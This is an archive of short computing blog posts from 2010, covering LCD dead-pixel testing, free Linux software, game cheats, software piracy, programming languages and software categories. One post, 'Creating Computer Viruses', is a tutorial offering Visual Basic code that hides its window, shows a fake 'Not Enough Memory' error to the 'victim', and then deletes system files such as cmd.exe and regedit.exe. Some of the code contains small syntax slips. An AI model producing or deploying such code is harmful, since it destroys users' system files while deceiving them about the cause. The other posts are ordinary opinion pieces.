Archive for the ‘Software topic’ Category

Program To Test Lcd Monitors

Friday, May 14th, 2010

LCD monitors are relatively hard to manufacture. Every little dot (pixel) formed by 3 sub pixels (red, green and blue) has to be placed very accurately in the appropriate place. One little mistake made during the process may disable one or more (sub)pixels. Top manufacturers use only perfect LCD panels, without any problems, and sell the rest to less-known manufacturers that will install them in different categories of cheap monitors, clearly specifying in user manuals that they don’t have perfect picture quality.





Sadly not all manufacturers respect this logic. Some try to sell all panels as new, grade A+ products, without notifying the customer. Quietly they publish specifications about quality on their site (usually hidden from the eyes of unexperienced shoppers), admitting that a few defective pixels are acceptable, and the monitor cannot be returned under warranty for this specific reason.

This is when you should use a program to test lcd monitors. LCD’s are really easy to test. Basically you need three (red, green and blue) pictures that fill out the screen. Any defective pixel will appear and you notice it instantly.

A defective pixel can have many different colors. The less annoying ones are simply black spots, instead of the three colors there’s just black. This is the only case when you may consider keeping the monitor despite 1-2 such dead pixels.

The worst defective pixel is constantly lit in bright white color, incredibly frustrating. Unless you set the contrast to maximum, nothing on the screen will have a similar color so that you could tolerate it. Theoretically a white pixel shouldn’t bother you when working with black on white text, but in any other case it doesn’t fit in with the rest of the pixels. The best solution is to return it ASAP. In most countries any IT&C product can be returned in 15-30 days from purchase and the entire price will be refunded or the product will be replaced with a new one, your choice.

Partially dead pixels (with dead sub pixels) are irritating too, but they don’t show up in every situation. For example if the red part is dead (black) it won’t show up if the displayed color doesn’t need the red component, or it shows up a little if a little red is needed, but it’s less noticeable.

There are two more types of panel defects. One is when some foreign particle gets sealed between the panel’s sheets. A piece of hair or dust, and the monitor cannot be classified as A+ anymore.

The other common defect – slightly bent panel – may occur even after shipping, while it’s sitting in storage. The monitor enclosure may bend due to improper shipping or storage conditions, bending the display panel too, so the back lighting of the screen will be permanently damaged. Bigger spots on the panel will appear darker or brighter. This defect can be noticed right in the store by supplying the screen with a 100% white image, and looking at it from slightly different angles.

In conclusion, it’s best to use any basic program to test lcd monitors before purchase, even a photo viewer with white, red, green and blue jpegs is enough. Also keep in mind that you may return the LCD in 15-30 days from purchase (depending on your country’s legislation), without any specific reason, you should get a full refund or a new product.

Free Computer Software

Saturday, April 17th, 2010

Since the first release of Microsoft DOS, the software market is dominated by Microsoft operating systems and software that go with it. This is not necessarily a good thing, because this way one company drives the industry forward. Without competition there’s no rush, the software giant can choose not to update its software for long periods of time. There is also the financial side of the problem too, a small business or home user may have to spend up to 10-20 times more on software than the whole computer’s cost. Luckily in the last few years foundations and other kinds of low-profit companies started to offer free computer software, including operating systems, and much more.





UBUNTU is one of the most popular free operating systems around, based on Debian linux, it runs all linux programs on a very friendly graphical user interface (GUI), similar to Microsoft Windows. Even more important was the centralization of most applications into one frequently updated database that can be accessed by all users by a few clicks. After the user chooses the software he needs, he presses install and then all applications are downloaded and installed automatically. How cool is that?

Although UBUNTU’s performance doesn’t come close to Microsoft and Mac paid software, it offers a wide range of free programs like Openoffice (similar to Microsoft Office, but free) that has all the basic features of MS Office and it was also released on Microsoft platform for free.
Playing media isn’t a problem either, all codecs are supported. Serious deficiencies show only when users want to play games, because no profit-oriented company will address linux users that generally want everything for free. It would be financial suicide, however some games are available on linux platforms too or can be run with a windows simulator that offers DirectX support too. One of these simulators is WINE:

Strangely enough Misrosoft Windows applications run on linux with WINE run faster than the same applications designed especially for UBUNTU. One of these programs is the RAR archiving software:

UBUNTU also has a free photoshop program called GIMP. It doesn’t have all the functions of Adobe photoshop, but it gets the job done and doesn’t cost $700 like Adobe’s similar program.

It’s no news that major WEB browsers are free for UBUNTU too, Firefox, Chrome, Opera and others, that have all the functions of their MS equivalent.

The only serious problem with linux operating systems is hardware compatibility. While they run just fine on any hardware configuration, speed isn’t optimized and that’s why in most cases a linux operating system runs slower than MAC or MS. The darker side of the problem is that not even MS and MAC use the full potential of computer hardware, they stay around 50% efficiency, meaning that programs could run twice as fast if software developers would work more on optimization. In conclusion it’s smart to at least try the free stuff before buying MS or MAC software, you may be pleasantly surprised. Also keep in mind that even expensive software isn’t fully optimized.

Cheats On The Internet For Computer Games

Friday, April 16th, 2010

Cheats have been around since the first computer games were introduced. They mainly serve as shortcuts for programmers and testers to jump to a specific point of the game where some corrections may be necessary, or to try out one specific function of the game, while eliminating other distractions.





There are basically two types of cheats for computer games. The simple ones that can be typed/activated within the game, without making any modifications to game files, and the more advanced ones that are small programs (called trainers), run simultaneously with the game they make cheating possible by modifying game data on the hard drive or in the memory. Before the golden age of the Internet, these cheat codes were spread peer-to-peer on floppy discs or pieces of paper, but also some huge databases were built with a simple program that served as a search engine. One such database was The Cheat Machine, first released for DOS with a very simple user interface:

Not much changed after that, today’s graphical user interface database programs have almost the same functions, but of course they look much better. With the ever increasing number of computer games, the cheat codes and trainer programs also had to keep up, so they moved to the internet, rather than circulating on floppy or compact discs. These are much more advanced than the old cheats, many include step-by-step instructions for most games and even videos that show how to complete the game from the beginning to end.

Of course these cheats and trainers are immoral at best, but the worst effect they have is that they make gamers lazy. By having all solutions delivered to the gamer, he will only play to see some cool stuff, without improving his gaming skill at all. Most parents don’t realize this, but games actually help kids develop most intellectual skills at an early age, if they make an effort to do all the guess-work themselves. Cheats ruin the educational effect while the children’s morality is also affected. They may come to the conclusion that cheating is ok, and they will search to do so in real life too.
A trainer for one of the popular Need for Speed series games looks like this:


It has to be started parallel with the game, so it can modify many environmental rules and laws like gravity, acceleration …etc. making the game less realistic and easier to play. Some might say that these cheats have a positive side too, by using cheats kids spend less time in front of the computer because they finish games much faster, but this is a very short-sighted way of looking at the problem. There is of course a darker side of cheats that parents should know about. When they are used in multiplayer games it can lead to violent conflicts between players. Some recent fights that resulted from using multiplayer cheats lead to hospitalizations or even worse, death.

Creating Computer Viruses

Monday, March 22nd, 2010

Creating a computer virus is going to be pretty hard, especially for beginners. Well, this tutorial will show you how to create a simple computer virus with only a few codes. A computer virus can be an application which deletes files from the computer, and infects your computer because it deletes files, codes, and you need an Antivirus to clean your computer in order to be back as normal.




First, open a New Project in Visual basic, a Standard exe file. Now it depends on how do you want your virus to work, I’m thinking it’s better to activate a single time the opened application so that the Main Codes to be always in order. In your project insert a Text Box, a command button and a Timer, but we will use these later.




In the project type the file you want it to delete, for example if you want to delete the command file, then you must insert in TAB order the following codes:

Private Sub Form_Load()

Text1.Text = “C:/Windows/System32/cmd.exe”

Kill Text1.Text

End Sub

When the program is run a single time, the command file will be deleted. Now i will show you a “making” example and using the command button. Insert the next code in the Command Button in the loaded form. You can insert a simple text box in order to make the virus to act faster. I inserted “A”:

Private Sub Form_Load()

Text1.Text = “C:/Windows/System32/cmd.exe”

A = Text1.Text

End Sub

Private Sub Command1_Click

Kill A

End Sub

Now you only need to press the command button a single time in the project and the file you selected to be deleted, will be deleted. Now we will user the Timer. If you want to Disguise your scheme then this is the right way to do it, we will send a Fake Message Error pretending the application has not enough memory for running, but in fact the victim does not know that you deleted the file.

The scheme:

Private Sub Form_Load()

Form1.Visible = False

Text1.Text = “C:/Windows/System32/cmd.exe”

A = Text1.Text

Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”

End Sub

Private Sub Timer1_Timer()

Timer1.Interval = 5000

Kill A

Timer1.Enabled = False

End Sub

At last, we made an invisible form so that it will display the false Error Message. We set a 5 seconds gap, meaning that after 5 seconds will delete the file, this is as simple for anyone. Ok, now we will make it a little bit difficult if you think this was easy. How to delete more than 1 file from the computer, and you don’t need a text box:




In the loaded form insert the next code:

Private Sub Form_Load()

Form1.Visible = False

Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”

Kill “C:/Windows/System32/cmd.exe” s

Kill “C:/Windows/regedit.exe”

End Sub

In the end, it will delete the command file and registry file, and I don’t think that the victim will be as pleased as you will be. Now I will show you the information which I believe to be your start for creating programs, and you can test it on your own PC, just copy a file, let’s say cmd.exe and paste it in C:/. Now insert the code, but in “Kill” insert: Kill “C:/cmd.exe”

That’s about everything that you need to “kill”, and then you will see the deleted file. Try other stuff and you’ll be a hell of a program in short time.

What Is Computer Piracy

Monday, March 22nd, 2010

The computer piracy represents the illegal copying of original programs or counterfeiting and unauthorized distribution of computer programs. The software piracy is referring also to the situation when a person executes more copies than it is allowed, or when they borrow a copy of a program to somebody else.




When we buy a program, we actually buy the license to use that software. We do not have total rights over the whole program and we are obliged to respect the license agreement before almost all software installations. The cost and real value of a software product consists not in the box where the CD ROM is in, but in the code lines that it contains, millions of instructions which tell the computer what to execute.




The software piracy is affecting everyone, the users, the honest dealers, the software industry, local industry and national economy. Today we are more vulnerable to the software piracy because of the mass propagation of personal computers, which make computer programs and other form of intellectual property to be pirated and distributed easier, on extended geographical areas.

The spread. The piracy represents a major preoccupation for the software industry in the whole world. In average, for every licensed copy sold, there is at least one pirated copy. In some countries there are made up to 99 unauthorized copies for every license copy.

The involvement of the Microsoft company in user education referring to the software piracy and preventive actions on developing this phenomenon which has increased significantly in the last few years, in order to keep up with the increasing impact of the piracy over the world economy.

The software industry contributes significantly to the world wide economic prosperity. The piracy undermines the value and the integrity of the programs, is threatening the technical innovations and diminishes the created economical opportunities, exposing in the same time the users to risks.

Which is the Microsoft’s position in software piracy ? Microsoft is trying to protect its users and authorized dealers from the negative effects of the software piracy. Acting independently, but through organizations like Business Alliance, Microsoft is fighting against the piracy through many ways. Besides the educational activity, the company has enhanced its efforts using a legal framework against wide counterfeiting, especially against the ones belonging to the organized crimes.




Microsoft fights against software piracy through:

- Education and information efforts. Through actions like local marketing campaigns, Microsoft informs its users about the negative impact of the piracy and the advantages of using genuine software.
- Juridical actions. Microsoft is following the civil and criminal law procedures and encourages the authorities to open juridical actions against the ones which are counterfeiting and illegal copying software. It is important to maintain the integrity of the distribution channel and to insure a safe business environment for the dealers which are following the rules.
- Public administration initiatives. Microsoft is acting with the government to strengthen the laws of copyrighting, protecting the programs as intellectual property, and to increase the penalties in case of violation of the law.
- Security features of the products. Microsoft has developed many anti piracy characteristics in order to help the users and dealers to distinguish original Microsoft software from the counterfeit ones.

What is the impact of piracy on us ? There are many aspects you can think of, like user level losses, negative impact over both national and local economy, taxes income losses and staff reductions, the resellers, etc.

Computer Programming Languages

Thursday, March 11th, 2010

A programming language is a clear set of expressions and rules (or techniques) valid for the formulation of instructions for a computer. A programming language has defined a set of syntactic and semantic rules. It gives the programmer the possibility to state in exactly the actions which the computer has to execute, in what order and with which data. The specification consists in drawing or writing the necessary programs.




Categories:




By programming paradigm:

- Procedural languages: C, Java, Perl

- Functional languages: ML, Haskell

- Logic programming languages: Prolog, DATALOG

- Mixed languages: LISP

By the level of abstraction:

- First generation languages: code-machine languages

- Second generation languages: assembly languages

- Third generation languages: high level languages, like C and all of its derivatives: C++, Java, etc.

- Fourth generation languages: non-procedural languages, focused on solving a particular class of problems: SQL, etc.

- Fifth generation languages: languages used in domains like fuzzy logic, artificial intelligence and neural networks: Prolog, LISP, etc.

By age:

- Last century languages: LISP, FORTRAN from the 50s

- Last decade languages: Haskell, Ruby, etc.

For executing a written program in a random language, there are 2 ways: compilation or interpretation. With compilation, the compiler transforms the source-program in an equivalent program written in a machine language, which then is executed. In interpretation, the interpreter takes the first instruction from the source-program and transforms it in machine language and then it executes it, then it goes to the second instruction and keeps repeating the same actions.

Some languages are suitable for compilation; for example the classic languages: Pascal, Fortran, C. Some are mostly interpreted, for example: BASIC, PHP, SQL. Many of the modern languages combine compilation with interpretation: the source code is compiled in a binary language named byte code, which when ruled is interpreted by a virtual machine. Remarkable, some language interpreters can use just-in-time compilers, which transform the code in machine language right before the execution of the program.

Here you have a list of general languages, which can theoretically be used in solving any kind of problems: BASIC (QuickBasic, GW Basic, Visual Basic), C, C++, C#, Clips, Cobol, Fortran, Haskell, Java, JavaScript, LISP, Pascal (ObjectPascal used by Borland Delphi), Perl, PHP, Prolog, Python, Ruby, Seed7, Scriptol, Tcl / TK, CSS, XHTML;




and a list of specific well defined languages: ActionScript (used by Macromedia Flash), ASP (and ASP.NET), FoxPro (and Visual FoxPro), MIVA SCRIPT, SQL.

So if you’re passionate about computers and you want to start programming, you now have all the computer programming languages lined up. Either you are a future web designer, or a future operating system creator, or a program creator, now you have all the information needed to understand which programming language is good for what.

Types Of Computer Software

Thursday, March 11th, 2010

Software engineering is a domain which involves designing, creating and maintenance of software, applying practices and technologies which belong to the computer science, project management, engineering, design interface, and other domains.




The standard model for a computer program developing is the Waterfall Model. This contains 4 stages in creating a computer program:

1. Obtaining requirements

2. Designing

3. Effective programming

4. Testing




A software is a program system for computers, including their application procedures, provided with the computer system itself or subsequently created by the user. In contrast, the word hardware designates the physical part of the computer or the computer system. Generally, in order to work, a computer system needs both components, and the data that needs to be processed. Often these data are considered to be a part of a software.

The software component may include the entire range of application products, usually formed of operating system, drivers and application programs. In some cases, parts of a software are built-in the hardware from manufacturing, by using the programmed integrated circuits.

In some areas, by software you understand the data with which the devices or computers work, like digital images, sounds and music, computer games, digital movies, video clips and many other similar data. In extreme cases, even the physical data carriers or “media” are considered to be a software, like the optical discs – CD and DVD, the VHS video cassettes and miniDV, audio cassettes, etc.

A separate but related term is the firmware, also known as microprogram or microcode.

You have here a list of famous software creator companies: ACD systems, Adobe, Ahead, Apple, Blender Foundation, Borland, Corel, Eteks Software, Flexera Software, Hewlett Packard, IBM, Ixia, Lasting Software, Rovi Corporation, Mandriva, Microsoft, Mozilla Foundation, MySQL AB, Netscape, Novell, Nullsoft, Oracle, Red Hat, Romania Soft Company, SCO, SAP, Senior Software, SIVECO, Softwin, Sun Microsystems, Symantec, etc.

We provided you with this list which contains all the types of computer software:

Applications

- Accounting

- Enterprise resource planning

- Customer relationship management

Automation

Optical media printing software

Data processing

- Data recovery

- Database systems

- Backup software

- Archiving files




Emulation

- Disk image emulator

Editor of input methods

Game engines

Internet software

- E-mail client

- Peer to peer file sharing (P2P)

- FTP client

- HTML editor

- Instant messaging client

- Offline browser

- Web browser

Mathematical software

Operating system

Web operating system

Personal data processing

Engineering software

- Bug tracker

- Compiler

- Debugger

- Integrated development environment

- Revision control

- Documentation generator

- Install software

- Uninstall software

Software suite

- Graphic suite

- Internet suite

- Desk suite

Multimedia

- Audio editor

- Graphic software

- 3D computer graphics software

- Software for editing raster graphics

- Software for editing vector graphics

- Software for multimedia rendering

- Video editing software

Security

- Antivirus

- Firewall

- Encryption

- Password cracking / recovery / auditing